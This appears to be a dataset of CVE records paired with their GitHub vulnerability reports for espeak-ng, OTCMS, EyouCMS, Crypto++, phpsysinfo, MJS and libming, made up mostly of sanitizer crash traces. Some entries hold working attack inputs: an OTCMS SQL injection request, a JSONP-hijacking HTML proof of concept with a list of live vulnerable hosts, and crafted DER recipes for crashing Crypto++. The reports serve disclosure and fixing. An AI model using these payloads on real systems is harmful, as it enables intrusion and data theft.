**System info** Ubuntu x86_64, clang 12.0 version: espeak-ng(1.52-dev) **Command line** ./espeak-ng -f poc -w /dev/null **Poc** poc:[poc](https://github.com/SEU-SSL/Poc/blob/main/espeak-ng/id_000209%2Csig_07%2Csrc_000384%2Cop_havoc%2Crep_32) **AddressSanitizer output** ==4070654==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffce78764a0 at pc 0x00000049796a bp 0x7ffce78758d0 sp 0x7ffce7875098 WRITE of size 393 at 0x7ffce78764a0 thread T0 #0 0x497969 in __asan_memcpy (/src/espeak-ng/src/espeak-ng+0x497969) #1 0x51c13e in RemoveEnding /src/espeak-ng/src/libespeak-ng/dictionary.c:2902:3 #2 0x5853f2 in TranslateWord3 /src/espeak-ng/src/libespeak-ng/translateword.c:444:17 #3 0x570911 in TranslateWord /src/espeak-ng/src/libespeak-ng/translate.c:150:14 #4 0x57c9ca in TranslateWord2 /src/espeak-ng/src/libespeak-ng/translate.c:404:11 #5 0x57951f in TranslateClause /src/espeak-ng/src/libespeak-ng/translate.c:1594:17 #6 0x56fe0b in SpeakNextClause /src/espeak-ng/src/libespeak-ng/synthesize.c:1560:2 #7 0x5430bc in Synthesize /src/espeak-ng/src/libespeak-ng/speech.c:455:2 #8 0x544552 in sync_espeak_Synth /src/espeak-ng/src/libespeak-ng/speech.c:571:29 #9 0x544552 in espeak_ng_Synthesize /src/espeak-ng/src/libespeak-ng/speech.c:669:10 #10 0x51fa9e in espeak_Synth /src/espeak-ng/src/libespeak-ng/espeak_api.c:90:32 #11 0x4cde94 in main /src/espeak-ng/src/espeak-ng.c:779:3 #12 0x7f9c6597c082 in __libc_start_main /build/glibc-BHL3KM/glibc-2.31/csu/../csu/libc-start.c:308:16 #13 0x41d64d in _start (/src/espeak-ng/src/espeak-ng+0x41d64d) Address 0x7ffce78764a0 is located in stack of thread T0 at offset 2368 in frame #0 0x58082f in TranslateWord3 /src/espeak-ng/src/libespeak-ng/translateword.c:59 This frame has 25 object(s): [32, 232) 'ph_buf.i.i' (line 1191) [304, 308) 'c.i' (line 1122) [320, 324) 'wc.i' (line 1048) [336, 416) 'word_buf.i' (line 1053) [448, 456) 'word1' (line 62) [480, 488) 'dictionary_flags' (line 68) [512, 520) 'dictionary_flags2' (line 69) [544, 552) 'wordx' (line 74) [576, 776) 'phonemes' (line 75) [848, 1048) 'phonemes2' (line 76) [1120, 1320) 'prefix_phonemes' (line 77) [1392, 1592) 'unpron_phonemes' (line 78) [1664, 1864) 'end_phonemes' (line 79) [1936, 2136) 'end_phonemes2' (line 80) [2208, 2368) 'word_copy' (line 81) [2432, 2592) 'word_copy2' (line 82) <== Memory access at offset 2368 partially underflows this variable [2656, 2721) 'prefix_chars' (line 84) <== Memory access at offset 2368 partially underflows this variable [2768, 2772) 'c_temp' (line 87) [2784, 2788) 'first_char' (line 88) [2800, 2804) 'last_char' (line 89) [2816, 2912) 'wtab_null' (line 99) [2944, 2948) 'wc' (line 322) [2960, 3160) 'end_phonemes2410' (line 343) [3232, 3240) 'wordpf' (line 401) [3264, 3276) 'prefix_phonemes2' (line 402) HINT: this may be a false positive if your program uses some custom stack unwind mechanism, swapcontext or vfork (longjmp and C++ exceptions *are* supported) SUMMARY: AddressSanitizer: stack-buffer-overflow (/src/espeak-ng/src/espeak-ng+0x497969) in __asan_memcpy Shadow bytes around the buggy address: 0x10001cf06c40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x10001cf06c50: 00 00 00 00 00 f2 f2 f2 f2 f2 f2 f2 f2 f2 00 00 0x10001cf06c60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x10001cf06c70: 00 00 00 00 00 00 00 f2 f2 f2 f2 f2 f2 f2 f2 f2 0x10001cf06c80: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x10001cf06c90: 00 00 00 00[f2]f2 f2 f2 f2 f2 f2 f2 00 00 00 00 0x10001cf06ca0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x10001cf06cb0: f2 f2 f2 f2 f2 f2 f2 f2 00 00 00 00 00 00 00 00 0x10001cf06cc0: 01 f2 f2 f2 f2 f2 04 f2 04 f2 04 f2 00 00 00 00 0x10001cf06cd0: 00 00 00 00 00 00 00 00 f2 f2 f2 f2 f8 f2 f8 f8 0x10001cf06ce0: f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb Shadow gap: cc ==4070654==ABORTING

stack-buffer-overflow exists in the function RemoveEnding in dictionary.c

https://api.github.com/repos/espeak-ng/espeak-ng/issues/1827/comments

2023-11-13T03:37:25Z

2023-12-17T12:53:03Z

https://github.com/espeak-ng/espeak-ng/issues/1827

CVE-2023-49993

2023-12-12T14:15:07.700

Espeak-ng 1.52-dev was discovered to contain a Buffer Overflow via the function ReadClause at readclause.c.

https://github.com/espeak-ng/espeak-ng/issues/1826

github.com

**System info** Ubuntu x86_64, clang 12.0 version: espeak-ng(1.52-dev) **Command line** ./espeak-ng -f poc -w /dev/null **Poc** poc:[poc](https://github.com/SEU-SSL/Poc/blob/main/espeak-ng/id_000205%2Csig_11%2Csrc_013749%2Cop_havoc%2Crep_4) **AddressSanitizer output** ==4070638==ERROR: AddressSanitizer: global-buffer-overflow on address 0x000000fe1cb0 at pc 0x0000005389ce bp 0x7ffd05945410 sp 0x7ffd05945408 WRITE of size 4 at 0x000000fe1cb0 thread T0 #0 0x5389cd in ReadClause /src/espeak-ng/src/libespeak-ng/readclause.c:668:30 #1 0x571b2d in TranslateClause /src/espeak-ng/src/libespeak-ng/translate.c:984:15 #2 0x56fe0b in SpeakNextClause /src/espeak-ng/src/libespeak-ng/synthesize.c:1560:2 #3 0x543527 in Synthesize /src/espeak-ng/src/libespeak-ng/speech.c:489:9 #4 0x544552 in sync_espeak_Synth /src/espeak-ng/src/libespeak-ng/speech.c:571:29 #5 0x544552 in espeak_ng_Synthesize /src/espeak-ng/src/libespeak-ng/speech.c:669:10 #6 0x51fa9e in espeak_Synth /src/espeak-ng/src/libespeak-ng/espeak_api.c:90:32 #7 0x4cde94 in main /src/espeak-ng/src/espeak-ng.c:779:3 #8 0x7f79f766d082 in __libc_start_main /build/glibc-BHL3KM/glibc-2.31/csu/../csu/libc-start.c:308:16 #9 0x41d64d in _start (/src/espeak-ng/src/espeak-ng+0x41d64d) 0x000000fe1cb0 is located 48 bytes to the left of global variable 'option_linelength' defined in 'src/libespeak-ng/translate.c:99:5' (0xfe1ce0) of size 4 0x000000fe1cb0 is located 0 bytes to the right of global variable 'option_punctlist' defined in 'src/libespeak-ng/translate.c:96:9' (0xfe1bc0) of size 240 SUMMARY: AddressSanitizer: global-buffer-overflow /src/espeak-ng/src/libespeak-ng/readclause.c:668:30 in ReadClause Shadow bytes around the buggy address: 0x0000801f4340: 04 f9 f9 f9 f9 f9 f9 f9 04 f9 f9 f9 f9 f9 f9 f9 0x0000801f4350: 04 f9 f9 f9 f9 f9 f9 f9 04 f9 f9 f9 f9 f9 f9 f9 0x0000801f4360: 04 f9 f9 f9 f9 f9 f9 f9 04 f9 f9 f9 f9 f9 f9 f9 0x0000801f4370: 04 f9 f9 f9 f9 f9 f9 f9 00 00 00 00 00 00 00 00 0x0000801f4380: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0000801f4390: 00 00 00 00 00 00[f9]f9 f9 f9 f9 f9 04 f9 f9 f9 0x0000801f43a0: f9 f9 f9 f9 01 f9 f9 f9 f9 f9 f9 f9 00 00 00 00 0x0000801f43b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0000801f43c0: 00 00 00 00 00 f9 f9 f9 f9 f9 f9 f9 00 00 04 f9 0x0000801f43d0: f9 f9 f9 f9 00 00 04 f9 f9 f9 f9 f9 00 00 00 00 0x0000801f43e0: 00 f9 f9 f9 f9 f9 f9 f9 04 f9 f9 f9 f9 f9 f9 f9 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb Shadow gap: cc ==4070638==ABORTING

global-buffer-overflow exists in the function ReadClause in readclause.c

https://api.github.com/repos/espeak-ng/espeak-ng/issues/1826/comments

2023-11-13T03:35:17Z

2023-12-17T12:53:10Z

https://github.com/espeak-ng/espeak-ng/issues/1826

CVE-2023-49994

2023-12-12T14:15:07.750

Espeak-ng 1.52-dev was discovered to contain a Floating Point Exception via the function PeaksToHarmspect at wavegen.c.

https://github.com/espeak-ng/espeak-ng/issues/1823

github.com

**System info** Ubuntu x86_64, clang 12.0 version: espeak-ng(1.52-dev) **Command line** ./espeak-ng -f poc -w /dev/null **Poc** poc:[poc](https://github.com/SEU-SSL/Poc/blob/main/espeak-ng/id_000000%2Csig_08%2Csrc_003156%2B002428%2Cop_splice%2Crep_32) **AddressSanitizer output** ==4069818==ERROR: AddressSanitizer: FPE on unknown address 0x0000005aeced (pc 0x0000005aeced bp 0x000000fe792a sp 0x7fff82149c60 T0) #0 0x5aeced in PeaksToHarmspect /src/espeak-ng/src/libespeak-ng/wavegen.c:456:87 #1 0x5b3639 in Wavegen /src/espeak-ng/src/libespeak-ng/wavegen.c:723:13 #2 0x5b3639 in WavegenFill2 /src/espeak-ng/src/libespeak-ng/wavegen.c:1331:13 #3 0x5b3639 in WavegenFill /src/espeak-ng/src/libespeak-ng/wavegen.c:1420:13 #4 0x54317c in Synthesize /src/espeak-ng/src/libespeak-ng/speech.c:461:3 #5 0x544552 in sync_espeak_Synth /src/espeak-ng/src/libespeak-ng/speech.c:571:29 #6 0x544552 in espeak_ng_Synthesize /src/espeak-ng/src/libespeak-ng/speech.c:669:10 #7 0x51fa9e in espeak_Synth /src/espeak-ng/src/libespeak-ng/espeak_api.c:90:32 #8 0x4cde94 in main /src/espeak-ng/src/espeak-ng.c:779:3 #9 0x7fd834ba0082 in __libc_start_main /build/glibc-BHL3KM/glibc-2.31/csu/../csu/libc-start.c:308:16 #10 0x41d64d in _start (/src/espeak-ng/src/espeak-ng+0x41d64d) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: FPE /src/espeak-ng/src/libespeak-ng/wavegen.c:456:87 in PeaksToHarmspect ==4069818==ABORTING

Floating Point Exception exists in the function PeaksToHarmspect in wavegen.c

https://api.github.com/repos/espeak-ng/espeak-ng/issues/1823/comments

2023-11-13T03:23:53Z

2023-12-17T12:29:31Z

https://github.com/espeak-ng/espeak-ng/issues/1823

CVE-2023-6772

2023-12-13T19:15:08.513

A vulnerability, which was classified as critical, was found in OTCMS 7.01. Affected is an unknown function of the file /admin/ind_backstage.php. The manipulation of the argument sqlContent leads to sql injection. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-247908.

https://github.com/Num-Nine/CVE/issues/8

github.com

1.Official website：http://otcms.com/ 2.Hole location: /admin/ind_backstage.php 3.Log in to the background and send the packet as follows POST /admin/sysCheckFile_deal.php?mudi=sql HTTP/1.1 Host: otcms.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 208 Origin: http://otcms.com Connection: close Referer: http://otcms.com/admin/sysCheckFile.php?mudi=sql Cookie: DHKkf_memberInfo=XDFVClw1WzBRO1I6B2JRYVZlVTMAXwAyBjAPNAViVWQHOVE%2FCWUPY1w%2BAWUBbFQ0AjEHY1E%2BUW8AM1xrVmsGOVwzVTVcN1s1UWFSNQc%2BUTZWZFUxADIADwYwDzIFN1V9B2tRKQkxDy5cagEJAThUZQIxB2FRKlFmADdcflZiBjVcIFUyXGJbblFjUmcHNlFhVm9VCQC%2BALAGhA%2FnBbpV9Ae8UakJoA%2FnXMsBhgHvVMQCmw%3D%3D; DHKkf_memberRealName=%E8%B6%85%E7%BA%A7%E7%AE%A1%E7%90%86%E5%91%98; PHPSESSID=fkuouf60dh4nb9hbfo20v5ktts Upgrade-Insecure-Requests: 1 backURL=http%3A%2F%2Fotcms.com%2Fadmin%2FsysCheckFile.php%3Fmudi%3Dsql&pwdMode=&pwdKey=&pwdEnc=&sqlContent=select+*+from+ot_ad+where+AD_ID=3+and+extractvalue(1,concat(1,(select database())))--+;&userpwd=admin 4.The error injection can be triggered

sql injection exists in otcmsV7.01

https://api.github.com/repos/QianGeG/CVE/issues/8/comments

2023-12-11T09:51:15Z

2023-12-11T09:51:15Z

https://github.com/QianGeG/CVE/issues/8

CVE-2023-50566

2023-12-14T15:15:10.460

A stored cross-site scripting (XSS) vulnerability in EyouCMS-V1.6.5-UTF8-SP1 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Public Security Registration Number parameter.

https://github.com/weng-xianhu/eyoucms/issues/56

github.com

Version : V1.6.5  Vulnerability point 1: "基本信息"->"备案号"&“公安备案号”->"代码模式",HTML code can be edited directly：   Vulnerability point 2: “广告管理”：   Vulnerability point 3: In rich text editing, the front end will automatically add http to the hyperlink, but it can be bypassed by capturing the packet：  Delete http://  

EyouCMS-V1.6.5-UTF8-SP1 has a stored XSS vulnerability

https://api.github.com/repos/weng-xianhu/eyoucms/issues/56/comments

2023-12-08T08:39:23Z

2024-03-22T06:31:10Z

https://github.com/weng-xianhu/eyoucms/issues/56

CVE-2023-50979

2023-12-18T04:15:50.970

Crypto++ (aka cryptopp) through 8.9.0 has a Marvin side channel during decryption with PKCS#1 v1.5 padding.

https://github.com/weidai11/cryptopp/issues/1247

github.com

### Crypto++ Issue Report I've verified that the Crypto++ is vulnerable to the [Marvin Attack](https://people.redhat.com/~hkario/marvin/)—a timing variant of the well-known Bleichenbacher attack. I've executed the test on ArchLinux, using crypto++ 8.9.0 from the Arch repository. The reproducer is available in the [marvin-toolkit](https://github.com/tomato42/marvin-toolkit/tree/master/example/crypto%2B%2B) repository. It was compiled with a simple `g++ -o time_decrypt -lcryptopp time_decrypt.cpp`. When executed on AMD Ryzen 5 5600X, I'm able to detect a side-channel signal when performing decryption with PKCS#1 v1.5 padding. The results are statistically significant with just few hundred measurement pairs, but below I'm showing results of a run with 100k repeats to show the size of the side-channel more clearly. The test summary: ``` Sign test mean p-value: 0.2339, median p-value: 4.255e-12, min p-value: 3.18e-88 Friedman test (chisquare approximation) for all samples p-value: 0.0 Worst pair: 1(no_header_with_payload_48), 5(valid_0) Mean of differences: 3.61457e-07s, 95% CI: 2.63026e-07s, 4.577243e-07s (±9.735e-08s) Median of differences: 4.80000e-07s, 95% CI: 4.30000e-07s, 5.200001e-07s (±4.500e-08s) Trimmed mean (5%) of differences: 3.84809e-07s, 95% CI: 3.26061e-07s, 4.382825e-07s (±5.611e-08s) Trimmed mean (25%) of differences: 4.82399e-07s, 95% CI: 4.37442e-07s, 5.255875e-07s (±4.407e-08s) Trimmed mean (45%) of differences: 4.77529e-07s, 95% CI: 4.31482e-07s, 5.214141e-07s (±4.497e-08s) Trimean of differences: 4.63125e-07s, 95% CI: 4.07500e-07s, 5.025002e-07s (±4.750e-08s) Layperson explanation: Definite side-channel detected, implementation is VULNERABLE ```  legend: ``` ID,Name 0,header_only 1,no_header_with_payload_48 2,no_padding_48 3,no_structure 4,signature_padding_8 5,valid_0 6,valid_48 7,valid_192 8,valid_246 9,valid_repeated_byte_payload_246_1 10,valid_repeated_byte_payload_246_255 11,zero_byte_in_padding_48_4 ``` Explanation for the ciphertexts is in the [`step2.py`](https://github.com/tomato42/marvin-toolkit/blob/master/step2.py) file. As can be read from the graph, there's a clear difference between valid (probes 5, 6, and 7) and invalid ciphertexts. Moreover, the probe 2 is significantly different from others, which suggests a side-channel leakage in the numerical library (the last multiplication to apply deblinder, the last Montgormery reduction, or conversion of the arbitrary precision integer to a byte string), which means that that _all_ padding modes that use the same RSADP() primitive will be similarly vulnerable, that means RSA-OAEP too. (side note: I'm not a C++ programmer, so any help to make the reproducer cleaner, and command-line configurable, like the ones for openssl, pyca-cryptography, etc. will be really appreciated)

Crypto++ vulnerable to the Marvin Attack

https://api.github.com/repos/weidai11/cryptopp/issues/1247/comments

2023-11-12T12:57:41Z

2024-01-29T00:45:42Z

https://github.com/weidai11/cryptopp/issues/1247

CVE-2023-50980

2023-12-18T04:15:51.067

gf2n.cpp in Crypto++ (aka cryptopp) through 8.9.0 allows attackers to cause a denial of service (application crash) via DER public-key data for an F(2^m) curve, if the degree of each term in the polynomial is not strictly decreasing.

https://github.com/weidai11/cryptopp/issues/1248

github.com

Hi, recently I found a security issue in the `Crypto++` library that would cause a segmentation fault when parsing DER public key files of the `F(2^m)` class curves, an attacker could potentially craft a malformed DER public key file, and any user or server attempting to read this public key file in processes such as `ECDSA` may be susceptible to a DOS attack. ### Issue The main reason of this issue is that when parsing the DER public key file of the `F(2^m)` class curve ([EC2N::DecodePoint](https://github.com/weidai11/cryptopp/blob/3e3b8af96d4d957b77588be91df7715efbe2ed69/ec2n.cpp#L78)), there is no check that the degree of each term in the polynomial is strictly decreasing. For example, for curve `sect193r1`, it uses polynomial `f(x) = x^193 + x^15 + 1`, then under normal circumstances, DER public key file would store their exponents in the following sequential order in ASN.1 format: ``` 35:d=5 hl=2 l= 2 prim: INTEGER :C1 39:d=5 hl=2 l= 9 prim: OBJECT :tpBasis 50:d=5 hl=2 l= 1 prim: INTEGER :0F ``` The above snippet is taken from a regular `sect193r1` public key file. However, if we reverse the order of the exponents, for instance, if we swap the positions of `C1` and `0F`, and repackage it into a DER file, then any attempt to read and parse this DER file in `Crypto++` will trigger a segmentation fault immediately. To figure out the exact location, I debugged it using `gdb`, and here is the result: ``` Program terminated with signal SIGSEGV, Segmentation fault. #0 0x00007fb8458e34fc in CryptoPP::GF2NT::Reduced(CryptoPP::PolynomialMod2 const&) const () from /usr/lib/x86_64-linux-gnu/libcrypto++.so.8 (gdb) bt #0 0x00007fb8458e34fc in CryptoPP::GF2NT::Reduced(CryptoPP::PolynomialMod2 const&) const () from /usr/lib/x86_64-linux-gnu/libcrypto++.so.8 #1 0x00007fb8458e5440 in CryptoPP::GF2NT::Square(CryptoPP::PolynomialMod2 const&) const () from /usr/lib/x86_64-linux-gnu/libcrypto++.so.8 #2 0x00007fb8458ad844 in CryptoPP::EC2N::DecodePoint(CryptoPP::EC2NPoint&, CryptoPP::BufferedTransformation&, unsigned long) const () from /usr/lib/x86_64-linux-gnu/libcrypto++.so.8 #3 0x00007fb8458ad696 in CryptoPP::EC2N::DecodePoint(CryptoPP::EC2NPoint&, unsigned char const*, unsigned long) const () from /usr/lib/x86_64-linux-gnu/libcrypto++.so.8 #4 0x00007fb8458ae360 in CryptoPP::EC2N::BERDecodePoint(CryptoPP::BufferedTransformation&) const () from /usr/lib/x86_64-linux-gnu/libcrypto++.so.8 #5 0x00007fb84587b542 in CryptoPP::DL_GroupParameters_EC<CryptoPP::EC2N>::BERDecode(CryptoPP::BufferedTransformation&) () from /usr/lib/x86_64-linux-gnu/libcrypto++.so.8 #6 0x00007fb84587b9fd in CryptoPP::DL_KeyImpl<CryptoPP::X509PublicKey, CryptoPP::DL_GroupParameters_EC<CryptoPP::EC2N>, CryptoPP::OID>::BERDecodeAlgorithmParameters(CryptoPP::BufferedTransformation&) () from /usr/lib/x86_64-linux-gnu/libcrypto++.so.8 #7 0x00007fb845816488 in CryptoPP::X509PublicKey::BERDecode(CryptoPP::BufferedTransformation&) () from /usr/lib/x86_64-linux-gnu/libcrypto++.so.8 #8 0x000055a6c6c1fd92 in CryptoPP::ASN1CryptoMaterial<CryptoPP::PublicKey>::Load (this=0x7ffebe95d0e8, bt=...) at /usr/include/crypto++/asn.h:697 #9 0x000055a6c6c1d453 in main () at poc.cpp:14 ``` From the debugging results of gdb, we can see that the function that actually triggers the problem is [GF2NT::Reduced](https://github.com/weidai11/cryptopp/blob/3e3b8af96d4d957b77588be91df7715efbe2ed69/gf2n.cpp#L832), since this function will only be called when the point is in the form of compression encoding, we need to ensure that the points in the constructed DER file are in compressed form (start with `02` or `03`). ### Fix To fix this issue, the simplest method is to check whether the coefficients of the polynomial satisfy strict decreasing, which should at least close the entry point that triggers this issue. However, based on the gdb debugging results, it seems that the issue ultimately arises in . Therefore, fixing the actual cause of the segmentation fault from this function is also a feasible option, but it is still advisable to check whether the coefficients of the polynomial meet our requirements. ### Update The current fix of this issue can be seen [here](https://github.com/weidai11/cryptopp/commit/eb383b8e1622c07da2d5d6599a8b0e17a0deee0f), thanks for @noloader 's help.

EC2N::DecodePoint can crash if exponents are not in descending order

https://api.github.com/repos/weidai11/cryptopp/issues/1248/comments

2023-11-20T06:28:23Z

2023-11-22T02:37:26Z

https://github.com/weidai11/cryptopp/issues/1248

CVE-2023-50981

2023-12-18T04:15:51.147

ModularSquareRoot in Crypto++ (aka cryptopp) through 8.9.0 allows attackers to cause a denial of service (infinite loop) via crafted DER public-key data associated with squared odd numbers, such as the square of 268995137513890432434389773128616504853.

https://github.com/weidai11/cryptopp/issues/1249

github.com

Hi, recently I found a security issue in the [ModularSquareRoot](https://github.com/weidai11/cryptopp/blob/3e3b8af96d4d957b77588be91df7715efbe2ed69/nbtheory.cpp#L544) function of `Crypto++` library that would cause an infinite loop, since this function is being used in [ECP::DecodePoint](https://github.com/weidai11/cryptopp/blob/93208e83937a351babdfd9cfa07d7908ba15f68b/ecp.cpp#L117), an attacker could potentially craft a malformed DER public key file, and any user or server attempting to read this public key file in processes such as ECDSA may be susceptible to a DOS attack. ### Issue The issue lies in [the second while loop](https://github.com/weidai11/cryptopp/blob/3e3b8af96d4d957b77588be91df7715efbe2ed69/nbtheory.cpp#L558) in this function, the loop starts with `n = 2` and increments `n` by one each time until we find an `n` such that `Jacobi(n, p) = -1`. However, this overlooks the case when `p` is in the form of `m^2` and `m` is an odd number. In this case, `jacobi(n, p) = jacobi(n, m^2)` can be converted into the product of a series of squares of Jacobi symbols using the properties of Jacobi symbols, this means that its value can only be `1` or `0` but not `-1`, therefore, no matter how `n` continues to increase, it will never satisfy `Jacobi(n, p) = -1` to break out of the loop, thus leading to an infinite loop. Furthermore, since this function is being used in `ECP::DecodePoint`, we can construct a malformed DER public key file that includes an elliptic curve parameter `p` as: ``` 72358384006116823815439217615866351214375729203207450702838342058601772551609 ``` which is the square of: ``` 268995137513890432434389773128616504853 ``` and repackage it into a DER file, then any attempt to read and parse this DER file in `Crypto++` will trigger an infinite loop immediately. In addition, since the `ModularSquareRoot` function is in the branch that handles `03` compression encoding, we need to ensure that the points in the constructed DER file are in compressed form (start with `03`). ### Fix To fix this issue, the simplest method is to check whether `p` is a prime number at the beginning of the `ModularSquareRoot` function. If it is not a prime number, then directly reject any further calculations (after all, even if it is not rejected, the result calculated in this way will be wrong).

A security issue in the `ModularSquareRoot` function leads to a DOS attack

https://api.github.com/repos/weidai11/cryptopp/issues/1249/comments

2023-11-20T11:59:01Z

2024-08-08T04:17:46Z

https://github.com/weidai11/cryptopp/issues/1249

CVE-2023-49006

2023-12-19T10:15:07.883

Cross Site Request Forgery (CSRF) vulnerability in Phpsysinfo version 3.4.3 allows a remote attacker to obtain sensitive information via a crafted page in the XML.php file.

https://github.com/Hebing123/cve/issues/5

github.com

### **Description** phpsysinfo v3.4.3 has JSONP vulnerability.The XML.php file has a JSONP hijacking vulnerability. When a user visits a page carefully crafted by the attacker, the JSON data is obtained and sent to the attacker. ### **Proof of Concept** We created an HTML file as a proof of concept to showcase the vulnerability. This HTML file will attempt to retrieve the JSON data from https://phpbb.trabitechnik.com/xml.php and display it in a pop-up window. Of course, in a real-world attack, an attacker would simply use a PHP file to send the retrieved JSON data to their server using an XMLHttpRequest. Here is the HTML code for the proof of concept file: ``` <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title></title> <script src="http://apps.bdimg.com/libs/jquery/1.10.2/jquery.min.js"></script> </head> <body> <script> function dezsbrxdio(data){ alert(JSON.stringify(data)); } </script> <script src="https://phpbb.trabitechnik.com/xml.php?json&callback=dezsbrxdio&jsonp=dezsbrxdio&cb=dezsbrxdio&json=dezsbrxdio"> </script> </body> </html> ``` Here are some online assets using phpsysinfo that I have found: https://server.wxp-3.nl/xml.php https://sysinfo.pouserinet.fi/xml.php https://zvoyc1uy16u7hu9e.myfritz.net/xml.php http://204.11.55.179/xml.php http://204.11.55.87/xml.php http://88.67.242.79/xml.php http://217.131.251.40/xml.php If we want to easily test whether a website is vulnerable to this exploit, we can simply replace "phpbb.trabitechnik.com" in the HTML file(POC) with the URL of the website we want to test. We can open the modified HTML file and check if a pop-up window is displayed with the JSON data retrieved from the website. If a pop-up window appears with the JSON data, then the website is vulnerable to the JSONP hijacking exploit. ### **Impact** If a website's internal network information or other sensitive data is exposed through JSONP and vulnerable to hijacking, the consequences could be severe. An attacker could potentially retrieve sensitive information such as IP addresses, server names, network topologies, and other data that could be used to map out the internal network structure. This information could then be used to identify additional targets within the network and launch more targeted attacks. In addition, if the website is part of a larger system or network, the attacker could use the information obtained through JSONP hijacking to gain access to other systems or sensitive data within the network. Overall, the potential consequences of JSONP hijacking are significant and can lead to a range of security issues and data breaches. It is important for website administrators to ensure that their systems are not vulnerable to this exploit and to take appropriate measures to mitigate the risk. [benharvie](https://huntr.com/users/benharvie/) marked this as fixed in 4f2cee505e4f2e9b369a321063ff2c5e0c34ba45 with commit [4f2cee](https://www.github.com/phpsysinfo/phpsysinfo/commit/4f2cee505e4f2e9b369a321063ff2c5e0c34ba45) 4 months ago

XML.php JSONP hijacking in phpsysinfo v3.4.3

https://api.github.com/repos/Hebing123/cve/issues/5/comments

2023-12-15T07:09:51Z

2024-03-11T06:23:33Z

https://github.com/Hebing123/cve/issues/5

CVE-2023-50044

2023-12-20T09:15:07.297

Cesanta MJS 2.20.0 has a getprop_builtin_foreign out-of-bounds read if a Built-in API name occurs in a substring of an input string.

https://github.com/cesanta/mjs/issues/254

github.com

## Environment Ubuntu 22.04.3 LTS ## Compiler clang version 11.0.0 Target: x86_64-unknown-linux-gnu Thread model: posix ## Affected Version mjs 2.20.0 ## Step to reproduce ```git clone https://github.com/cesanta/mjs.git cd mjs git checkout b1b6eac6b1e5b830a5cb14f8f4dc690ef3162551 export LDFLAGS="-lpthread -latomic" ./afl-clang -DMJS_MAIN mjs.c -fno-inline -ldl -o mjs-bin -fsanitize=address -g ./mjs-bin -f PoCfile ``` ## Contents of PoCfile ``` die[8888888888] ``` ## Expected behavior Print error or warning messages handled within mjs. ## Current behavior ``` AddressSanitizer:DEADLYSIGNAL ================================================================= ==203500==ERROR: AddressSanitizer: SEGV on unknown address 0x000012239818 (pc 0x000000555e16 bp 0x7ffd2723c930 sp 0x7ffd2723c860 T0) ==203500==The signal is caused by a READ memory access. #0 0x555e16 in getprop_builtin_foreign /mjs/mjs.c:8472:31 #1 0x55392c in getprop_builtin /mjs/mjs.c:8509:17 #2 0x527c8e in mjs_execute /mjs/mjs.c:8661:14 #3 0x523d0c in mjs_exec_internal /mjs/mjs.c:9044:5 #4 0x5240a7 in mjs_exec_file /mjs/mjs.c:9067:11 #5 0x52c77d in main /mjs/mjs.c:11406:13 #6 0x7f39b8195082 in __libc_start_main /build/glibc-BHL3KM/glibc-2.31/csu/../csu/libc-start.c:308:16 #7 0x41c3bd in _start (/mjs/mjs-bin+0x41c3bd) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /mjs/mjs.c:8472:31 in getprop_builtin_foreign ==203500==ABORTING ``` ## Conclusion The bug was triggered due to an attempt to access memory locations that are restricted when the input string contains Built-in APIs. This report specifically provides information when the input string contained the substring "die" (input string: "die[8888888888]"). The presence of "die[88888888]" within the input string led to a segment fault, as it incorrectly identified an inaccessible address of the Built-in APIs as an accessible foreign pointer. Upon further testing with other Built-in APIs, it was discovered that the issue applied to all of the Built-in APIs mentioned in the README.md documentation. I will submit a Pull Request to address this issue.

Segmentation Fault in getprop_builtin_foreign

https://api.github.com/repos/cesanta/mjs/issues/254/comments

2023-11-23T03:20:25Z

2023-12-27T18:24:10Z

https://github.com/cesanta/mjs/issues/254

CVE-2023-50628

2023-12-20T09:15:07.350

Buffer Overflow vulnerability in libming version 0.4.8, allows attackers to execute arbitrary code and obtain sensitive information via parser.c component.

https://github.com/libming/libming/issues/289

github.com

